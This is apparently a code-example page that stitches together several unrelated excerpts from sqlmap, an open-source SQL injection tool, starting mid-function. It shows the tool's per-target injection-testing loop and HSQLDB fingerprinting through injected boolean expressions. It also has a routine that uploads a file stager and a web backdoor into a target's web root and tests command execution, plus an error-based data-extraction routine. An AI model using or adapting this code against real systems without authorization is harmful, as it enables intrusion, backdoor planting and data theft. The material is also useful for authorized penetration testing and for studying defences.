                [conf.data, conf.testParameter]):
                for parameter in re.findall(
                        r"([^=]+)=([^%s]+%s?|\Z)" %
                    (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel
                     or DEFAULT_GET_POST_DELIMITER),
                        conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET,
                                parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = "SQL injection vulnerability has already been detected "
                    message += "against '%s'. Do you want to skip " % conf.hostname
                    message += "further tests involving it? [Y/n]"
                    kb.skipVulnHost = readInput(message,
                                                default="Y").upper() != 'N'
                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = "skipping '%s'" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms:
                    message = "[#%d] form:\n%s %s" % (
                        hostCount, conf.method or HTTPMETHOD.GET, targetUrl)
                else:
                    message = "URL %d:\n%s %s%s" % (
                        hostCount, conf.method or HTTPMETHOD.GET, targetUrl,
                        " (PageRank: %s)" % get_pagerank(targetUrl)
                        if conf.googleDork and conf.pageRank else "")

                if conf.cookie:
                    message += "\nCookie: %s" % conf.cookie

                if conf.data is not None:
                    message += "\nPOST data: %s" % urlencode(
                        conf.data) if conf.data else ""

                if conf.forms:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find(
                            "?") == -1:
                        continue

                    message += "\ndo you want to test this form? [Y/n/q] "
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        if conf.method == HTTPMETHOD.POST:
                            message = "Edit POST data [default: %s]%s: " % (
                                urlencode(conf.data) if conf.data else "None",
                                " (Warning: blank fields detected)"
                                if conf.data and extractRegexResult(
                                    EMPTY_FORM_FIELDS_REGEX, conf.data) else
                                "")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(
                                conf.data) if conf.data and urlencode(
                                    DEFAULT_GET_POST_DELIMITER,
                                    None) not in conf.data else conf.data

                        elif conf.method == HTTPMETHOD.GET:
                            if targetUrl.find("?") > -1:
                                firstPart = targetUrl[:targetUrl.find("?")]
                                secondPart = targetUrl[targetUrl.find("?") +
                                                       1:]
                                message = "Edit GET data [default: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = "%s?%s" % (firstPart, test)

                        parseTargetUrl()

                    elif test[0] in ("n", "N"):
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                else:
                    message += "\ndo you want to test this URL? [Y/n/q]"
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        pass
                    elif test[0] in ("n", "N"):
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                    infoMsg = "testing URL '%s'" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms
                                   ) or not checkString() or not checkRegexp():
                continue

            if conf.checkWaf:
                checkWaf()

            if conf.identifyWaf:
                identifyWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
                and (kb.injection.place is None or kb.injection.parameter is None):

                if not any(
                    (conf.string, conf.notString,
                     conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = conf.parameters.keys()

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
                             PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
                    skip |= (place == PLACE.REFERER and conf.level < 3)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and conf.level < 5)

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and conf.level < 2)

                    skip |= (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(
                        PLACE.COOKIE, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(
                        HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect(
                        (PLACE.COOKIE, ), conf.testParameter, True))

                    if skip:
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = "skipping previously processed %s parameter '%s'" % (
                                place, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.testParameter:
                            pass

                        elif parameter == conf.rParam:
                            testSqlInj = False

                            infoMsg = "skipping randomizing %s parameter '%s'" % (
                                place, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip:
                            testSqlInj = False

                            infoMsg = "skipping %s parameter '%s'" % (
                                place, parameter)
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (
                                parameter.upper() in IGNORE_PARAMETERS
                                or parameter.upper().startswith(
                                    GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = "ignoring %s parameter '%s'" % (
                                place, parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = "%s parameter '%s' does not appear dynamic" % (
                                    place, parameter)
                                logger.warn(warnMsg)

                            else:
                                infoMsg = "%s parameter '%s' is dynamic" % (
                                    place, parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            check = heuristicCheckSqlInjection(
                                place, parameter)

                            if check != HEURISTIC_TEST.POSITIVE:
                                if conf.smart or (kb.ignoreCasted and check
                                                  == HEURISTIC_TEST.CASTED):
                                    infoMsg = "skipping %s parameter '%s'" % (
                                        place, parameter)
                                    logger.info(infoMsg)
                                    continue

                            infoMsg = "testing for SQL injection on %s " % place
                            infoMsg += "parameter '%s'" % parameter
                            logger.info(infoMsg)

                            injection = checkSqlInjection(
                                place, parameter, value)
                            proceed = not kb.endDetection

                            if injection is not None and injection.place is not None:
                                kb.injections.append(injection)

                                # In case when user wants to end detection phase (Ctrl+C)
                                if not proceed:
                                    break

                                msg = "%s parameter '%s' " % (
                                    injection.place, injection.parameter)
                                msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
                                test = readInput(msg, default="N")

                                if test[0] not in ("y", "Y"):
                                    proceed = False
                                    paramKey = (conf.hostname, conf.path, None,
                                                None)
                                    kb.testedParams.add(paramKey)
                            else:
                                warnMsg = "%s parameter '%s' is not " % (
                                    place, parameter)
                                warnMsg += "injectable"
                                logger.warn(warnMsg)

            if len(kb.injections) == 0 or (len(kb.injections) == 1
                                           and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = "no parameter(s) found for testing in the provided data "
                    errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = "all tested parameters appear to be not injectable."

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += " Try to increase '--level'/'--risk' values "
                        errMsg += "to perform more tests."

                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
                        errMsg += " Rerun without providing the option '--technique'."

                    if not conf.textOnly and kb.originalPage:
                        percent = (
                            100.0 *
                            len(getFilteredPageContent(kb.originalPage)) /
                            len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += " You can give it a go with the switch '--text-only' "
                            errMsg += "if the target page has a low percentage "
                            errMsg += "of textual content (~%.2f%% of " % percent
                            errMsg += "page content is text)."
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += " Please retry with the switch '--text-only' "
                            errMsg += "(along with --technique=BU) as this case "
                            errMsg += "looks like a perfect candidate "
                            errMsg += "(low textual content along with inability "
                            errMsg += "of comparison engine to detect at least "
                            errMsg += "one dynamic parameter)."

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += " As heuristic test turned out positive you are "
                        errMsg += "strongly advised to continue on with the tests. "
                        errMsg += "Please, consider usage of tampering scripts as "
                        errMsg += "your target might filter the queries."

                    if not conf.string and not conf.notString and not conf.regexp:
                        errMsg += " Also, you can try to rerun by providing "
                        errMsg += "either a valid value for option '--string' "
                        errMsg += "(or '--regexp')"
                    elif conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
                        errMsg += "exclusively True responses"
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
                        errMsg += "does not match exclusively True responses"

                    raise SqlmapNotVulnerableException(errMsg)
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = "do you want to exploit this SQL injection? [Y/n] "
                    exploit = readInput(message, default="Y")

                    condition = not exploit or exploit[0] in ("y", "Y")
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = "user aborted in multiple target mode"
                logger.warn(warnMsg)

                message = "do you want to skip to the next target in list? [Y/n/q]"
                test = readInput(message, default="Y")

                if not test or test[0] in ("y", "Y"):
                    pass
                elif test[0] in ("n", "N"):
                    return False
                elif test[0] in ("q", "Q"):
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException, ex:
            errMsg = getUnicode(ex.message)

            if conf.multipleTargets:
                errMsg += ", skipping to the next %s" % ("form" if conf.forms
                                                         else "URL")
                logger.error(errMsg)
            else:
                logger.critical(errMsg)
                return False

        finally:
Exemplo n.º 55
0
    def checkDbms(self):
        """
        References for fingerprint:
        DATABASE_VERSION()
        version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d')
        version 2.2.5 added SYSTIMESTAMP function
        version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions
        version 2.2.0 added support for ROWNUM() function
        version 2.1.0 added MEDIAN aggregate function
        version < 2.0.1 added support for datetime ROUND and TRUNC functions
        version 2.0.0 added VALUES support
        version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the
                        full version string, including the 4th digit (e.g 1.8.0.4).
        version 1.7.2 CASE statements added and INFORMATION_SCHEMA

        """

        if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES):
            setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan("1.7.2"):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.HSQLDB
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1")

        if result:
            infoMsg = "confirming %s" % DBMS.HSQLDB
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
                logger.warn(warnMsg)

                return False
            else:
                result = inject.checkBooleanExpression(
                    "ZERO() IS 0"
                )  # Note: check for H2 DBMS (sharing majority of same functions)
                if result:
                    warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
                    logger.warn(warnMsg)

                    return False

                kb.data.has_information_schema = True
                Backend.setVersion(">= 1.7.2")
                setDbms("%s 1.7.2" % DBMS.HSQLDB)

                banner = self.getBanner()
                if banner:
                    Backend.setVersion("= %s" % banner)
                else:
                    if inject.checkBooleanExpression(
                            "(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"):
                        Backend.setVersionList([">= 2.0.0", "< 2.3.0"])
                    else:
                        banner = unArrayizeValue(
                            inject.getValue(
                                "\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()",
                                safeCharEncode=True))
                        if banner:
                            Backend.setVersion("= %s" % banner)
                        else:
                            Backend.setVersionList([">= 1.7.2", "< 1.8.0"])

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
            logger.warn(warnMsg)

            dbgMsg = "...or version is < 1.7.2"
            logger.debug(dbgMsg)

            return False
Exemplo n.º 56
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_PLATFORM, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not isDigit(choice):
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webPlatform = choices[int(choice) - 1]
                break

        if not kb.absFilePaths:
            message = "do you want sqlmap to further try to "
            message += "provoke the full path disclosure? [Y/n] "

            if readInput(message, default='Y', boolean=True):
                headers = {}
                been = set([conf.url])

                for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
                    url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
                    if url not in been:
                        try:
                            page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                            parseFilePaths(page)
                        except:
                            pass
                        finally:
                            been.add(url)

                url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                        parseFilePaths(page)
                    except:
                        pass
                    finally:
                        been.add(url)

                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
                        if "[]" in value:
                            page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
                            parseFilePaths(page)

                cookie = None
                if PLACE.COOKIE in conf.parameters:
                    cookie = conf.parameters[PLACE.COOKIE]
                elif headers and HTTP_HEADER.SET_COOKIE in headers:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
                    value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

                    value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(OrderedSet(directories))

        path = _urllib.parse.urlparse(conf.url).path or '/'
        path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
        if path != '/':
            _ = []
            for directory in directories:
                _.append(directory)
                if not directory.endswith(path):
                    _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
            directories = _

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
        backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))

        stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = "/%s" % directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with openFile(filename, "w+b") as f:
                        _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
                        _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webPlatform == WEB_PLATFORM.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webPlatform == WEB_PLATFORM.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "

                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break
Exemplo n.º 57
0
def smokeTest():
    """
    Runs the basic smoke testing of a program
    """

    dirtyPatchRandom()

    content = open(paths.ERRORS_XML, "r").read()
    for regex in re.findall(r'<error regexp="(.+?)"/>', content):
        try:
            re.compile(regex)
        except re.error:
            errMsg = "smoke test failed at compiling '%s'" % regex
            logger.error(errMsg)
            return False

    retVal = True
    count, length = 0, 0

    for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
        if any(_ in root for _ in ("thirdparty", "extra")):
            continue

        for filename in files:
            if os.path.splitext(filename)[1].lower(
            ) == ".py" and filename != "__init__.py":
                length += 1

    for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
        if any(_ in root for _ in ("thirdparty", "extra")):
            continue

        for filename in files:
            if os.path.splitext(filename)[1].lower(
            ) == ".py" and filename not in ("__init__.py", "gui.py"):
                path = os.path.join(root, os.path.splitext(filename)[0])
                path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
                path = path.replace(os.sep, '.').lstrip('.')
                try:
                    __import__(path)
                    module = sys.modules[path]
                except Exception as ex:
                    retVal = False
                    dataToStdout("\r")
                    errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (
                        path, os.path.join(root, filename), ex)
                    logger.error(errMsg)
                else:
                    logger.setLevel(logging.CRITICAL)
                    kb.smokeMode = True

                    (failure_count, _) = doctest.testmod(module)

                    kb.smokeMode = False
                    logger.setLevel(logging.INFO)

                    if failure_count > 0:
                        retVal = False

                count += 1
                status = '%d/%d (%d%%) ' % (count, length,
                                            round(100.0 * count / length))
                dataToStdout("\r[%s] [INFO] complete: %s" %
                             (time.strftime("%X"), status))

    def _(node):
        for __ in dir(node):
            if not __.startswith('_'):
                candidate = getattr(node, __)
                if isinstance(candidate, str):
                    if '\\' in candidate:
                        try:
                            re.compile(candidate)
                        except:
                            errMsg = "smoke test failed at compiling '%s'" % candidate
                            logger.error(errMsg)
                            raise
                else:
                    _(candidate)

    for dbms in queries:
        try:
            _(queries[dbms])
        except:
            retVal = False

    clearConsoleLine()
    if retVal:
        logger.info("smoke test final result: PASSED")
    else:
        logger.error("smoke test final result: FAILED")

    return retVal
Exemplo n.º 58
0
def errorUse(expression, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
    """

    initTechnique(kb.technique)

    abortedFlag = False
    count = None
    emptyFields = []
    start = time.time()
    startLimit = 0
    stopLimit = None
    value = None

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
        expression)

    # Set kb.partRun in case the engine is called from the API
    kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
       or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
       expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
       and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
            expression, dump)

        if limitCond:
            # Count the number of SQL query entries output
            countedExpression = expression.replace(
                expressionFields,
                queries[Backend.getIdentifiedDbms()].count.query %
                ('*' if len(expressionFieldsList) > 1 else expressionFields),
                1)

            if " ORDER BY " in expression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(
                countedExpression)
            count = unArrayizeValue(
                _oneShotErrorUse(countedExpression, countedExpressionFields))

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and not count.isdigit():
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif (not count or int(count) == 0):
                if not count:
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)
                else:
                    value = []  # for empty tables
                return value

            if " ORDER BY " in expression and (
                    stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
                message = "due to huge table size do you want to remove "
                message += "ORDER BY clause gaining speed over consistency? [y/N] "
                _ = readInput(message, default="N")

                if _ and _[0] in ("y", "Y"):
                    expression = expression[:expression.index(" ORDER BY ")]

            numThreads = min(conf.threads, (stopLimit - startLimit))

            threadData = getCurrentThreadData()
            threadData.shared.limits = iter(xrange(startLimit, stopLimit))
            threadData.shared.value = BigArray()
            threadData.shared.buffered = []
            threadData.shared.counter = 0
            threadData.shared.lastFlushed = startLimit - 1
            threadData.shared.showEta = conf.eta and (stopLimit -
                                                      startLimit) > 1

            if threadData.shared.showEta:
                threadData.shared.progress = ProgressBar(maxValue=(stopLimit -
                                                                   startLimit))

            if kb.dumpTable and (len(expressionFieldsList) <
                                 (stopLimit - startLimit) >
                                 CHECK_ZERO_COLUMNS_THRESHOLD):
                for field in expressionFieldsList:
                    if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" %
                                        (field, kb.dumpTable)) == '0':
                        emptyFields.append(field)
                        debugMsg = "column '%s' of table '%s' will not be " % (
                            field, kb.dumpTable)
                        debugMsg += "dumped as it appears to be empty"
                        logger.debug(debugMsg)

            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                kb.suppressResumeInfo = True
                debugMsg = "suppressing possible resume console info because of "
                debugMsg += "large number of rows. It might take too long"
                logger.debug(debugMsg)

            try:

                def errorThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                valueStart = time.time()
                                threadData.shared.counter += 1
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        output = _errorFields(expression, expressionFields,
                                              expressionFieldsList, num,
                                              emptyFields,
                                              threadData.shared.showEta)

                        if not kb.threadContinue:
                            break

                        if output and isListLike(output) and len(output) == 1:
                            output = output[0]

                        with kb.locks.value:
                            index = None
                            if threadData.shared.showEta:
                                threadData.shared.progress.progress(
                                    time.time() - valueStart,
                                    threadData.shared.counter)
                            for index in xrange(len(
                                    threadData.shared.buffered)):
                                if threadData.shared.buffered[index][0] >= num:
                                    break
                            threadData.shared.buffered.insert(
                                index or 0, (num, output))
                            while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
                                    0][0]:
                                threadData.shared.lastFlushed += 1
                                threadData.shared.value.append(
                                    threadData.shared.buffered[0][1])
                                del threadData.shared.buffered[0]

                runThreads(numThreads, errorThread)

            except KeyboardInterrupt:
                abortedFlag = True
                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

            finally:
                threadData.shared.value.extend(
                    _[1] for _ in sorted(threadData.shared.buffered))
                value = threadData.shared.value
                kb.suppressResumeInfo = False

